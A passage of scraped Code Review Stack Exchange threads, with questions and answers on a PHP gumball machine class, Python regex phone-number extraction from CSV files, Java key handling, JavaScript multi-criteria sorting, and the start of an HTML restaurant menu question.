echo "You open the gumball machine door and out pops a <font color=green><b>green</font></b> gumball!<br><br>";
$greenGumballs--;
$totalGumballs--;
return 'green';
} elseif ($gumballSelector <= $yellowSelector) {
echo "You open the gumball machine door and out pops a <font color=orange><b>yellow</font></b> gumball!<br><br>";
$yellowGumballs--;
$totalGumballs--;
return 'yellow';
}
} else {
echo "You already took the last gumball!<br><br>";
return 'none';
}
}
}
$gumballMachine = new gumballMachine;
$gumballMachine->estimateTotalGumballs();
$eRed = $gumballMachine->estimateTotalColorGumballs('Red');
$eBlue = $gumballMachine->estimateTotalColorGumballs('Blue');
$eWhite = $gumballMachine->estimateTotalColorGumballs('White');
$eGreen = $gumballMachine->estimateTotalColorGumballs('Green');
$eYellow = $gumballMachine->estimateTotalColorGumballs('Yellow');
$reds = 0;
$blues = 0;
$whites = 0;
$greens = 0;
$yellows = 0;
for ($i=0;$i<$iTotalGumballs; $i++) {
$gumballMachine->insertQuarter();
$gumballMachine->twistHandle();
$returned = $gumballMachine->openDoor();
switch ($returned) {
case 'red':
$reds++;
break;
case 'blue':
$blues++;
break;
case 'white':
$whites++;
break;
case 'green':
$greens++;
break;
case 'yellow':
$yellows++;
break;
}
}
echo "After $i quarters (\$".number_format($i * .25,2).")...<br>";
echo "You have <font color=red><b>$reds</font></b> red gumballs after estimating there were <font color=red><b>$eRed</font></b> reds.<br>";
echo "You have <font color=blue><b>$blues</font></b> blue gumballs after estimating there were <font color=blue><b>$eBlue</font></b> blues.<br>";
echo "You have <b>$whites</b> white gumballs after estimating there were <b>$eWhite</b> whites.<br>";
echo "You have <font color=green><b>$greens</font></b> green gumballs after estimating there were <font color=green><b>$eGreen</font></b> greens.<br>";
echo "You have <font color=orange><b>$yellows</font></b> yellow gumballs after estimating there were <font color=orange><b>$eYellow</font></b> yellows.<br><br>";
?>
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T02:50:19.223",
"Id": "82868",
"Score": "0",
"body": "Yes, I know this is pretty terrible OOP code. I wanted to know just how terrible. Thanks for all the feedback! Especially guy who emailed me about this :)"
}
] | [
{
"body": "<p>First of all, all your gumballs counters have no good reason to be global. As they are part of the state of the gumball machine, why don't you make the counters instance variables?</p>\n\n<p>Also, there might be a much more concise way to handle this counters : instead of having multiple variables, you could use a <a href=\"http://www.php.net/manual/en/language.types.array.php\" rel=\"nofollow\">associate array</a> to map colors to the corresponding number of gumball. As a cool side-effect, you don't need to maintain a variable containing the total number of gumballs : just use <a href=\"http://www.php.net/manual/fr/function.array-sum.php\" rel=\"nofollow\">sum</a> and you'll be allright.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T08:31:17.427",
"Id": "47212",
"ParentId": "47199",
"Score": "5"
}
},
{
"body": "<p><strong><em>Is there a way to avoid globals in my code?</em></strong></p>\n\n<p>Yes, of course there is! (more on that in my <em>actual</em> answer).</p>\n\n<p><strong><em>Are there any glaring issues with the way I've used OOP to put this gumball machine together?</em></strong></p>\n\n<p>Yes. If I'm honest, there are loads of issues.<br>\nI don't want to be rude, but it is my opinion that CR <em>has</em> to be blunt to be good. This is something <a href=\"https://codereview.meta.stackexchange.com/questions/810/guidelines-for-new-users-proposal-tag\">I've explained at length</a> some time ago.</p>\n\n<p>Anyway, onwards:<br>\nAvoid the need for globals by using <em>properties</em>. Classes (and thus objects) allow you to couple state to functionality. You need a given value, and your methods will be using that value (altering it, using it for computation) throughout, then that data needs to be tucked away inside that class, where no other code can touch it.</p>\n\n<pre><code>class MyText\n{\n public $string = 'my text';//a terrible example\n public function scream()\n {\n return strtoupper($this->string);\n }\n}\n</code></pre>\n\n<p>Ok, but how do we get a value in that class, and use it as a property? Enter the <code>__construct</code> method:</p>\n\n<pre><code>class MyText\n{\n public $string = null;//no value (yet)\n public function __construct($value)\n {\n $this->string = $value;\n }\n public function scream()\n {\n return strtoupper($this->string);\n }\n}\n</code></pre>\n\n<p>You then create an instance like so:</p>\n\n<pre><code>$instance = new MyText('This is the value');\necho $instance->scream();//THIS IS THE VALUE\n$another = new MyText('And now for something completely different');\necho $another->scream();//AND NOW FOR SOMETHING...\n</code></pre>\n\n<p>Each instance has its own property, and can do the same thing without this affecting the other instances of the same class. They are all self-contained units.</p>\n\n<p>Now, the property here isn't neatly tucked away, of course, it's public, so other code can simply change the value of the string property:</p>\n\n<pre><code>$instance->string = 'foobar';\necho $instance->scream();//FOOBAR\n</code></pre>\n\n<p>That's not ideal, especially considering that this could happen:</p>\n\n<pre><code>$instance->string = array('foobar');\n//strtoupper on an array shouldn't be allowed\n</code></pre>\n\n<p>Enter <em>access modifiers</em>. By defining a property as being <code>protected</code> or <code>private</code> you can prevent other (external, as in: not contained within the class) from accessing and altering the properties you need directly:</p>\n\n<pre><code>class MyText\n{\n protected $string = null;\n //all other methods are identical\n}\n$instance = new MyText('I am protected');\necho $instance->scream();\n$instance->string = 'not allowed';//error!\n</code></pre>\n\n<p>Of course, sometimes you do find yourself wanting to change the value of a property of an instance that already exists. Rather than creating a new instance, a simple setter method can be used to do just that:</p>\n\n<pre><code>class MyText\n{\n protected $string = null;\n public function __construct($value = null)\n {\n $this->string = $value;\n }\n public function setText($value)\n {\n $this->string = (string) $value;//ensure $value is a string!\n return $this;\n }\n}\n</code></pre>\n\n<p>Now you can do something like this:</p>\n\n<pre><code>$instance = new MyText();//<-- don't set a value here, it's been made optional\necho $instance->setText('Hello')\n ->scream();//because setText returns $this, we can chain method calls\n</code></pre>\n\n<p>And indeed, this'll echo <code>HELLO</code>. Setters have the added advantage of giving you the chance to <em>validate</em> the data that the user (the one calling the method) is trying to assign to a given property. A method like this:</p>\n\n<pre><code>public function setData(array $data)\n{//note the type-hint!\n $this->data = $data;\n return $this;\n}\n</code></pre>\n\n<p>Will result in a fatal error when this method is called with anything else than an <em>array</em>. Your class expects the <code>$data</code> property to be an array, so your method only excepts an array argument. This makes your API a lot less error-prone, reveals bugs in the calling code more quickly and produces something that is beginning to resemble self-documenting code. </p>\n\n<p>That's what you need for you gumball counters, too. Pass all those variables through to your constructor, and assign them to properties. Then you no longer rely on those global variables even existing:</p>\n\n<pre><code>$blueGumballs = 123;\n$foo = new Gumball($blueGumballs, 123, 123, 123);//<-- assign all colours\n$foo->estimateTotalColorGumballs('blue');\n$blueGumballs = 456;//<-- has no effect on the instance!\n$foo->estimateTotalColorGumballs('blue');\n</code></pre>\n\n<p>Ideally, you don't use a separate argument for each color/gumball counter value, but you'd pass them all as an array (which allows for some type-hinting).<br>\nAs your objects become more complex, you soon find yourself writing classes for data, too. These class names can be used for type-hints, too.</p>\n\n<p>For example, I have a db table full of user data. An SQL table is a rigid data structure, that can, for example contain: a user name, nickname, status, age and some timestamps.<br>\nEach of these fields imply a specific data type: strings for the name and nickname, an email is a special string, that should be validated using <code>filter_var($email, FILTER_VALIDATE_EMAIL)</code> and thus only accepted if it's a valid email address.<br>\nAge is an integer, the timestamps could be instances of the <code>DateTime</code> object and the status (active or not) could be a bool (true/false).</p>\n\n<p>That class, representing a user could be filled by a query result or a form submission (a new user registered). Once the instance is created and the data set, you pass that instance around, to ensure the data stays intact (setters that validate data), and nothing is lost along the way (an object is a single unit)...</p>\n\n<p>Perhaps think about going down that route for your gumballs: they all have a count (number of gumballs left), and a distinct colour. Furthermore, type-hinting makes life just so much easier when debugging, or maintaining code someone else wrote.</p>\n\n<p>Basically, an object should be <strong>self-contained</strong> What happens inside the object, only affects the object. What happens outside of the object doesn't concern the object. A global variable is an object's worst enemy.<Br>\nIf you want to write OO code, pour your data into objects, and think about your data as being instances, instead of variables.</p>\n\n<hr>\n\n<p>I'll leave you with this sneak-preview of rants to follow: <a href=\"http://en.wikipedia.org/wiki/SOLID_(object-oriented_design)\" rel=\"nofollow noreferrer\">SOLID</a> is easy!<br>\nPerhaps you can check out a couple of my other answers on this site where I explain, at length, why a method should <strong><em>never ever echo</em></strong>, for example <a href=\"https://codereview.stackexchange.com/questions/45801/i-have-a-huge-function-filled-with-nested-blocks/45814#45814\">this answer</a> of mine. I know, I tend to write long answers, but at least then I'm sure people are likely to understand why I say way I say, and where my critiques stem from.</p>\n\n<p>To be continued</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T14:31:58.653",
"Id": "82766",
"Score": "0",
"body": "Please be as blunt as necessary. I threw this together in an hour, and it is my first OOP project. I didn't expect it to be a work of art. I mainly wanted to see everything I need to fix from a pro in a basic example before I move, so any and all feedback is extremely helpful!"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T13:53:11.027",
"Id": "47244",
"ParentId": "47199",
"Score": "4"
}
}
] | {
"AcceptedAnswerId": "47244",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T03:39:04.713",
"Id": "47199",
"Score": "5",
"Tags": [
"php",
"object-oriented"
],
"Title": "Avoiding globals in gumball machine class"
} | 47199 |
<p>I've hodgepodged together an attempt to extract all phone numbers from all CSVs in a directory, regardless of where they are and what format they're in. I want all phone numbers to be printed to a compilation CSV with no repeat elements in the format <code>8885551234</code> with NO leading ones. E.g., <code>1 (510) 533-2134</code> would become <code>5105332134</code>, as would <code>510-5332134</code> (and the latter would count as a dupe and fail to be written).</p>
<p>My challenges are that the numbers are in different formats, in different columns (and sometimes in several columns), and that the files in the directory are, in total, many gigabytes in size. </p>
<p>What I came up with, first, fails to weed out numbers that start with 0 or 1 (though it does seem to "skip" the 1 in 11-digit numbers); second, I need checked by a regexpert to see if it is even doing what I want (identifying and printing phone numbers); and third, is far too slow:</p>
<pre><code>import csv
import re
import glob
import string
with open('phonelist.csv', 'wb') as out:
seen = set()
output = []
out_writer = csv.writer(out)
csv_files = glob.glob('*.csv')
#csv_files2 = glob.glob('*.csv')
for filename in csv_files:
with open(filename, 'rbU') as ifile:
read = csv.reader(ifile)
for row in read:
for column in row:
s1 = column.strip()
result = re.match(
r'.*(\+?[2-9]?[0-9]?[0-9]?-?\(?[0-9][0-9][0-9]\)? ?[0-9][0-9][0-9]-?[0-9][0-9][0-9][0-9]).*', s1) or re.match(
r'.*(\+?[2-9]?[0-9]?[0-9]?-?\(?[0-9][0-9][0-9]\)?-?[0-9][0-9][0-9]-?[0-9][0-9][0-9][0-9]).*', s1)
if result:
tempStr = result.group(1)
for ch in ['(', ')', '-', ' ']:
tempStr = tempStr.replace(ch, '')
if tempStr not in seen:
seen.add(tempStr)
output.append(tempStr)
for val in output:
out_writer.writerow([val])
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T05:49:21.780",
"Id": "82707",
"Score": "0",
"body": "You say that you intend to strip out the country code, but I don't see that happening in the code."
}
] | [
{
"body": "<p>Simple comments here :</p>\n\n<ul>\n<li><p>You don't need both <code>seen</code> and <code>output</code>: the set will be enough to store the unique numbers and print them later on.</p></li>\n<li><p>You should keep your reading logic and your writing logic independent by performing the former and then the latter. That would make things clearer and remove an unneeded level of nesting.</p></li>\n<li><p>Probably because I still have my morning eyes but I can't see the difference between the two regexps.</p></li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T05:37:09.460",
"Id": "47203",
"ParentId": "47201",
"Score": "1"
}
},
{
"body": "<p>Use a <a href=\"https://docs.python.org/2/library/re.html#re.compile\" rel=\"nofollow\">compiled regular expression</a>.</p>\n\n<p>Since you are looking for the pattern anywhere within a string, use <a href=\"https://docs.python.org/2/library/re.html#search-vs-match\" rel=\"nofollow\"><code>re.search()</code> instead of <code>re.match()</code></a>. Actually, the behaviour is not exactly the same. <code>.search()</code> will return the leftmost match, whereas <code>.match()</code> using your original pattern will return the rightmost match, since the initial <code>.*</code> is greedy. The backtracking that is necessary to accomplish a rightmost match would be a source of inefficiency.</p>\n\n<p>By using <code>.search()</code>, which performs a search not anchored to the start of the subject string, you can also eliminate the capturing parentheses and use <code>.group(0)</code> instead.</p>\n\n<p>You can also shorten the regex by using <code>\\d</code> (match any digit) and <code>{n}</code> (match the previous element <em>n</em> times). Since your two regular expressions differ by only one character, combine them, using a <code>[ -]</code> character class to cover both cases.</p>\n\n<p>In the canonicalization step, you want to eliminate all non-digits, so just do that instead.</p>\n\n<pre><code>regex = re.compile(r'\\+?[2-9]?\\d?\\d?-?\\(?\\d{3}\\)?[ -]?\\d{3}-?\\d{4})')\n…\n\nmatch = regex.search(s1)\nif match:\n canonical_phone = re.sub(r'\\D', '', match.group(0))\n if canonical_phone not in seen:\n seen.add(canonical_phone)\n output.append(canonical_phone)\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T06:50:31.497",
"Id": "82712",
"Score": "0",
"body": "This takes about 20% the time of my original script! That's exciting. However, it includes numbers that start with 1, so that the two numbers mentioned above come out as `5105332134` and `15105332134`, and therefore as dupes (I want the latter to output the same way as the former, and it looks from the compiled regex like it should only start with 2-9, right?)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T07:35:07.327",
"Id": "82715",
"Score": "0",
"body": "As noted in my comment on the question, I don't see that you tried to strip out the country code anywhere in your original program. I just reproduced the bug, that's all. It should be trivial to fix, though, using a capturing pair of parentheses."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T05:44:41.380",
"Id": "47204",
"ParentId": "47201",
"Score": "4"
}
}
] | {
"AcceptedAnswerId": "47204",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T05:10:10.327",
"Id": "47201",
"Score": "2",
"Tags": [
"python",
"strings",
"regex",
"python-2.x",
"csv"
],
"Title": "Speeding up and fixing phone numbers from CSVs with Regex"
} | 47201 |
<p>This is how I read the keyboard in my game:</p>
<pre><code> @Override
public void keyPressed(KeyEvent key) {
keypressed=true;
if (key.getKeyCode() == KeyEvent.VK_UP) {
keyup=true;
}
if (key.getKeyCode() == KeyEvent.VK_DOWN) {
keydown=true;
}
if (key.getKeyCode() == KeyEvent.VK_ENTER) {
keyenter=true;
}
if (key.getKeyCode() == KeyEvent.VK_ESCAPE) {
keyesc=true;
}
if (key.getKeyCode() == KeyEvent.VK_W) {
keyw=true;
}
if (key.getKeyCode() == KeyEvent.VK_S) {
keys=true;
}
if (key.getKeyCode() == KeyEvent.VK_A) {
keya=true;
}
if (key.getKeyCode() == KeyEvent.VK_D) {
keyd=true;
}
}
</code></pre>
<p>Is there a more efficient, simpler, or neater way to do this?</p>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T07:42:51.857",
"Id": "82716",
"Score": "3",
"body": "So you've succeeded in setting some variables based on the keys pressed. Then what do you do with all those variables?"
}
] | [
{
"body": "<p>Yes there is. As <code>KeyEvent</code> is an enumeration type, you can instead use a <code>switch</code>-statement:</p>\n\n<pre><code>char key;\nboolean isSpecialKey = false;\nSpecialKey specialKeyValue;\nswitch(key.getKeyCode()){\n case KeyEvent.VK_UP:\n key = '';\n isSpecialkey = true;\n specialKeyValue = SpecialKey.ARROW_UP;\n break;\n case KeyEvent.VK_W:\n key = 'w';\n break;\n //Continue...\n}\n</code></pre>\n\n<p>I took the liberty of creating a new <code>SpecialKey</code> enum that is supposed to handle special keys when pressed. For these, there is also the <code>isSpecialKey</code> flag. You simply wouldn't create a case for Keys that you don't handle. Instead, do nothing in the default case.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T07:48:27.400",
"Id": "47209",
"ParentId": "47208",
"Score": "5"
}
}
] | {
"AcceptedAnswerId": "47209",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T07:39:17.683",
"Id": "47208",
"Score": "2",
"Tags": [
"java",
"game",
"event-handling"
],
"Title": "Reading keyboard input"
} | 47208 |
<p>(continuation from <a href="https://codereview.stackexchange.com/questions/47201/speeding-up-and-fixing-phone-numbers-from-csvs-with-regex">Speeding up and fixing phone numbers from CSVs with Regex</a>)</p>
<p>I'm pulling all of the phone numbers from all CSVs in two different directories, outputting them in a single simple format to two different files, and then comparing those two files for which numbers are in one but not the other.</p>
<p>I'm failing in speed (of execution), style, and results. Here's what I was trying:</p>
<pre><code>import csv
import re
import glob
import string
with open('Firstlist.csv', 'wb') as out:
with open('Secondlist.csv', 'wb') as out2:
with open('SecondnotinFirst.csv', 'wb') as out3:
with open('FirstnotinSecond.csv', 'wb') as out4:
seen = set()
regex = re.compile(r'(\+?[2-9]\d{2}\)?[ -]?\d{3}[ -]?\d{4})')
out_writer = csv.writer(out)
out_writer.writerow([])
csv_files = glob.glob('First\*.csv')
for filename in csv_files:
with open(filename, 'rbU') as ifile:
read = csv.reader(ifile)
for row in read:
for column in row:
s1 = column.strip()
match = regex.search(s1)
if match:
canonical_phone = re.sub(r'\D', '', match.group(0))
if canonical_phone not in seen:
seen.add(canonical_phone)
for val in seen:
out_writer.writerow([val])
seen2 = set()
out_writer2 = csv.writer(out2)
out_writer2.writerow([])
csv_files2 = glob.glob('Second\*.csv')
for filename in csv_files2:
with open(filename, 'rbU') as ifile2:
read2 = csv.reader(ifile2)
for row in read2:
for column in row:
s2 = column.strip()
match2 = regex.search(s2)
if match2:
canonical_phone2 = re.sub(r'\D', '', match2.group(0))
if canonical_phone2 not in seen2:
seen2.add(canonical_phone2)
for val in seen2:
out_writer2.writerow([val])
out_writer3 = csv.writer(out3)
for val in seen2 not in seen:
out_writer3.writerow([val])
out_writer4 = csv.writer(out4)
for val in seen not in seen2:
out_writer4.writerow([val])
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T17:12:30.053",
"Id": "82794",
"Score": "0",
"body": "Some of the operations on built-in sets might make your code simpler (and possibly faster): https://docs.python.org/2/library/stdtypes.html#set"
}
] | [
{
"body": "<p>Here's my 5 cents as non-python guy</p>\n<h3>Naming:</h3>\n<p>As soon as you begin numbering variable names, there should be alarm bells ringing... multiple <strong>loud</strong> alarm bells.</p>\n<p>rename your <code>out</code>, <code>out2</code>, and the corresponding writers. Instead use descriptive names (maybe similar to your "filenames"): <code>first_list</code>, <code>second_list</code>, and so on. The same applies for your writers.</p>\n<p>Also <code>seen2</code> is not a good name.. What do you store in that variable? Name it after that: <code>second_seen</code> is definitely better, than <code>seen2</code></p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T16:39:25.707",
"Id": "82990",
"Score": "0",
"body": "These kinds of general tips make codereview so great for someone like myself who has no clue what I'm doing. It's embarrassing to chalk up my line-by-line blindly-wandering code, but I only learn from trial and error."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T08:32:26.117",
"Id": "47213",
"ParentId": "47210",
"Score": "3"
}
},
{
"body": "<p>Hopefully I understand what your trying to do...</p>\n\n<ol>\n<li>Take all phone numbers from all files in directory A, strip phone numbers out, storing it in a summary file.</li>\n<li>Do the same for directory B.</li>\n<li>Get a file of what is not in directory A, and another that is not in directory B.</li>\n</ol>\n\n<p>I would break the problem down into a few steps:</p>\n\n<ol>\n<li>Process each file in directory A, save the summary.</li>\n<li>Do the same for directory B.</li>\n<li>Compare A_summary with B_summary.</li>\n<li>Compare B_summary with A_summary.</li>\n</ol>\n\n<p>Here is what I would change the code to in order to get going toward a solution.</p>\n\n<pre><code>import csv\nimport re\nimport os\n\nPHONE_PATTERN = re.compile(r'(\\+?[2-9]\\d{2}\\)?[ -]?\\d{3}[ -]?\\d{4})')\n\ndef process_file(filename, phone_numbers=None):\n \"\"\" Add phone numbers from a file to the set of phone_numbers. \"\"\"\n if phone_numbers = None:\n phone_numbers = set()\n\n with open(filename, 'rbU') as ifile:\n read = csv.reader(ifile)\n for row in read:\n for column in row:\n s1 = column.strip()\n match = PHONE_PATTERN.search(s1)\n if match:\n canonical_phone = re.sub(r'\\D', '', match.group(0))\n if canonical_phone not in phone_numbers:\n phone_numbers.add(canonical_phone)\n\n return phone_numbers\n\n# Check each directory, creating a set to tally up the unique numbers.\nfor directory in ['directory_A_path', 'directory_B_path']:\n phone_numbers = set()\n\n # Process all the files in a directory\n for filename in os.listdir(directory):\n if(filename.endswith(\".csv\")):\n phone_numbers = process_file(filename, phone_numbers)\n\n # Create a summary file for the directory and write the numbers\n with open(directory + \"_summary.csv\") as summary:\n summary_writer = csv.writer(summary)\n for phone_number in phone_numbers:\n summary_writer.writerow([phone_number])\n\nsummary_A = process_file('directory_A_path_summary.csv')\nsummary_B = process_file('directory_A_path_summary.csv')\n</code></pre>\n\n<p>I think you could then diff summaries and write them out. Hopefully it is helpful.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T02:00:15.537",
"Id": "47309",
"ParentId": "47210",
"Score": "3"
}
},
{
"body": "<p>Try to avoid deeply nesting code as much as possible.\nDeeply nested code has high cyclomatic complexity -- too many possible execution paths.\nThe higher complexity, the harder to test, more error prone, fragile.</p>\n\n<p>The deep nesting of <code>out</code>...<code>out3</code> file handlers is especially bad,\nbecause they are independent from each other.\nTry to write this more \"horizontally\",\nwithout nesting them within each other.</p>\n\n<hr>\n\n<p>Another big issue with your code is duplicated logic:</p>\n\n<ul>\n<li><p>You could write the logic reading from a file,\nand use it twice when you read the two input files</p></li>\n<li><p>You could write the logic writing to a file,\nand use it 4 times when you write the output files</p></li>\n</ul>\n\n<p>If you do something more than once,\nyou should extract to a separate method so it's less typing,\nand if you have to fix a bug, you can fix it once, which is easier and more robust.</p>\n\n<hr>\n\n<p>This is pointless, you're not using it, so remove it:</p>\n\n<pre><code>import string\n</code></pre>\n\n<hr>\n\n<p>Putting it all together (untested):</p>\n\n<pre><code>def read_unique_numbers_from_reader(reader):\n unique_numbers = set()\n for row in reader:\n for column in row:\n s1 = column.strip()\n match = regex.search(s1)\n if match:\n canonical_phone = re.sub(r'\\D', '', match.group(0))\n unique_numbers.add(canonical_phone)\n return unique_numbers\n\n\ndef read_unique_numbers_from_files(glob_pattern):\n unique_numbers = set()\n for filename in glob.glob(glob_pattern):\n with open(filename, 'rbU') as ifile:\n reader = csv.reader(ifile)\n unique_numbers.update(read_unique_numbers_from_reader(reader))\n return unique_numbers\n\n\ndef write_numbers(filename, numbers):\n with open(filename, 'wb') as out:\n out_writer = csv.writer(out)\n out_writer.writerow([])\n for val in numbers:\n out_writer.writerow([val])\n\nnumbers_in_first = read_unique_numbers_from_files('First*.csv')\nwrite_numbers('Firstlist.csv', numbers_in_first)\n\nnumbers_in_second = read_unique_numbers_from_files('Second*.csv')\nwrite_numbers('Secondlist.csv', numbers_in_second)\n\nwrite_numbers('SecondnotinFirst.csv', numbers_in_second - numbers_in_first)\n\nwrite_numbers('FirstnotinSecond.csv', numbers_in_first - numbers_in_second)\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T06:04:33.697",
"Id": "47320",
"ParentId": "47210",
"Score": "3"
}
},
{
"body": "<p>A simple way to avoid excessive indentation is to combine all of the <code>with</code> blocks into one:</p>\n\n<pre><code>with open('List1.csv', 'wb') as out1, \\\n open('List2.csv', 'wb') as out2, \\\n open('List3.csv', 'wb') as out3, \\\n open('List4.csv', 'wb') as out4:\n seen = set()\n # etc.\n</code></pre>\n\n<p>I've renamed <code>out</code> → <code>out1</code> for parallelism.</p>\n\n<p>However, another problem is that the code is repetitive and monolithic. Ideally, there should be a function, say <code>read_unique_phone_numbers_from_csv_files(glob)</code>. There is a handy data structure for that: <a href=\"http://legacy.python.org/dev/peps/pep-0372/\" rel=\"nofollow\"><code>collections.OrderedDict</code></a>.</p>\n\n<pre><code>def read_unique_phone_numbers_from_csv_files(csv_glob):\n regex = re.compile(r'(\\+?[2-9]\\d{2}\\)?[ -]?\\d{3}[ -]?\\d{4})')\n\n unique_phones = collections.OrderedDict()\n csv_files = glob.glob(csv_glob)\n for filename in csv_files:\n with open(filename, 'rbU') as ifile:\n read = csv.reader(ifile)\n for row in read:\n for column in row:\n # column.strip() is superfluous\n match = regex.search(column)\n if match:\n canonical_phone = re.sub(r'\\D', '', match.group(0))\n unique_phones[canonical_phone] = True\n return unique_phones\n</code></pre>\n\n<p>With that function defined, the main loop should become quite simple.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T06:39:53.500",
"Id": "47323",
"ParentId": "47210",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T08:01:18.923",
"Id": "47210",
"Score": "5",
"Tags": [
"python",
"python-2.x",
"csv"
],
"Title": "Comparing phone numbers across CSVs Python"
} | 47210 |
<p>I have an array of objects that I must sort based on two criteria. I've come up with a solution but I'd like to know if there is a better way to do it.</p>
<p>Assume a list of devices:</p>
<pre><code>[
{"battery_level": 0.45, "network_status": "ok"},
{"battery_level": 0.45, "network_status": "ok"},
{"battery_level": 0.50, "network_status": "lost"},
{"battery_level": 0.35, "network_status": "lost"},
{"battery_level": 0.75, "network_status": "ok"},
{"battery_level": 0.05, "network_status": "lost"},
{"battery_level": 0.75, "network_status": "lost"}
]
</code></pre>
<p>All lost devices must be on top and sorted by battery status ascending, so that it looks like this once sorted:</p>
<pre><code>[
{"battery_level":0.05,"network_status":"lost"},
{"battery_level":0.35,"network_status":"lost"},
{"battery_level":0.5,"network_status":"lost"},
{"battery_level":0.75,"network_status":"lost"},
{"battery_level":0.75,"network_status":"ok"},
{"battery_level":0.45,"network_status":"ok"},
{"battery_level":0.45,"network_status":"ok"}
]
</code></pre>
<p><a href="http://jsfiddle.net/axelduch/F8LxG/1/" rel="nofollow"><strong>Demo here</strong></a></p>
<pre><code>var devices = JSON.parse(document.getElementById('devices').innerHTML),
lostDevices,
sortBatteryLevelAsc,
sortNetworkStatusLostAsc,
i;
devices.sort(function (dev0, dev1) {
return dev0.network_status === 'lost' ? -1 : 1;
});
lostDevices = devices.filter(function (dev) {
return dev.network_status === 'lost';
});
lostDevices.sort(function (dev0, dev1) {
return dev0.battery_level <= dev1.battery_level ? -1 : 1;
});
console.clear();
console.log(devices);
Array.prototype.splice.apply(devices, [0, lostDevices.length].concat(lostDevices));
console.log(devices);
</code></pre>
<p>Is it smart enough, or is there a smarter way to do it?</p>
| [] | [
{
"body": "<p>There is a better way, use a single sort function where you check on both values. If network status is different, sort on that, otherwise sort on battery power:</p>\n\n<pre><code>var devices = JSON.parse(document.getElementById('devices').innerHTML);\n\nfunction sortDevicesByStatusAndPower(a, b) {\n var aStatus = a.network_status,\n bStatus = b.network_status;\n if( aStatus != b.network_status )\n return aStatus < bStatus ? -1 : 1;\n else\n return a.battery_level - b.battery_level; \n}\n\nconsole.clear();\n\nconsole.log(devices.sort( sortDevicesByStatusAndPower ));\n</code></pre>\n\n<p>I built a jsbin for this: <a href=\"http://jsbin.com/gesoq/1/edit\" rel=\"nofollow\">http://jsbin.com/gesoq/1/edit</a></p>\n\n<p>Finally, storing the JSON iside a <code>script</code> tag is .. novel, not sure it is the best approach.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T12:03:40.727",
"Id": "82736",
"Score": "0",
"body": "Yes it was just to test my algorithm, in real situation I use an API with angular, but I considered it not relevant to the related problem."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T10:58:00.087",
"Id": "47219",
"ParentId": "47218",
"Score": "4"
}
},
{
"body": "<p>If you're looking for tersity, here's another;</p>\n\n<pre><code>devices.sort(function(a, b) { \n return a.network_status === b.network_status \n ? a.battery_level - b.battery_level \n : a.network_status > b.network_status;\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T21:50:55.147",
"Id": "47293",
"ParentId": "47218",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "47219",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T10:39:10.443",
"Id": "47218",
"Score": "4",
"Tags": [
"javascript",
"array",
"sorting"
],
"Title": "Multicriteria sort array"
} | 47218 |
<p>I have a working restaurant menu system - as the user selects a menu it slides into view. The build is responsive, and I've used the 'Debounced Resize() jQuery Plugin'. However, in implementing the responsive code, I feel my code has become clunky, and it needs refactoring.</p>
<p>The hope here is that I'll receive some constructive criticism and some pointers on how to improve my code, which will in turn grow my knowledge base.</p>
<p><strong>HTML</strong></p>
<pre><code><section id="menu">
<div class="menu-container">
<ul class="menu__nav">
<li class="menu__nav-item"><a href="#menu-name-1">Menu Title 1</a></li>
<li class="menu__nav-item"><a href="#menu-name-2">Menu Title 2</a></li>
<li class="menu__nav-item"><a href="#menu-name-2">Menu Title 2</a></li>
</ul>
<!-- Menu 1 -->
<div id="#menu-name-1" class="menu__main cf">
<h2 class="menu__course-title">Menu Title 1</h2>
<div class="menu__col-wrap">
<div class="menu__col">
<div class="menu__col">
<div class="menu__subcol">
<!-- The Menu -->
</div>
<div class="menu__subcol">
<!-- The Menu -->
</div>
<div class="menu__subcol">
<!-- The Menu -->
</div>
</div>
</div>
</div>
<div class="menu__image"></div>
</div>
<!-- Menu 2 etc... -->
</div>
